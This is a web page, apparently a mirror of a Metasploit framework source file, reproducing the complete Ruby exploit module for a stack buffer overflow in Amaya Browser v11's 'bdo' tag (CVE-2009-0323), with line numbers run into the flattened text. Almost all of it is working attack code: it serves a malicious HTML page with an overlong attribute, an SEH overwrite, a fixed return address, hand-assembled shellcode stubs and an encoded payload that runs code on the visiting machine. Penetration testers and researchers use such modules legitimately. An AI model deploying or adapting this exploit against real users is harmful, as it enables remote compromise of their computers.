Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/amaya_bdo.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => "Amaya Browser v11.0 'bdo' Tag Overflow",14'Description' => %q{15This module exploits a stack buffer overflow in the Amaya v11 Browser.16By sending an overly long string to the "bdo"17tag, an attacker may be able to execute arbitrary code.18},19'License' => MSF_LICENSE,20'Author' => [ 'dookie, original exploit by Rob Carter' ],21'References' =>22[23[ 'CVE', '2009-0323' ],24[ 'OSVDB', '55721' ],25[ 'BID', '33046' ],26[ 'BID', '33047' ]27],28'DefaultOptions' =>29{30'EXITFUNC' => 'process',31},32'Payload' =>33{34'Space' => 970,35'BadChars' => "\x00",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' =>40[41[ 'Amaya Browser v11', { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll42],43'DisclosureDate' => '2009-01-28',44'DefaultTarget' => 0))45end464748def on_request_uri(cli, request)49# Re-generate the payload50return if ((p = regenerate_payload(cli)) == nil)5152# Set the exploit buffer53sploit = "<bdo dir=\""54sploit += rand_text_alpha(6889)55sploit += "\x74\x06\x41\x41"56sploit += [target.ret].pack('V')57sploit += "\x68\x7f\x01\x01\x7f" # push 7F01017F58sploit += "\x58" # pop EAX59sploit += "\x2d\x18\x69\x45\x7d" # sub EAX, 7A7A085760sploit += "\x50" # push EAX61sploit += "\xc3" # RETN62sploit += make_nops(100)63sploit += payload.encoded64sploit += make_nops(970 - payload.encoded.length)65sploit += "\">pwned!</bdo>"6667print_status("Sending #{self.name}")6869# Transmit the response to the client70send_response_html(cli, sploit)7172# Handle the payload73handler(cli)74end75end767778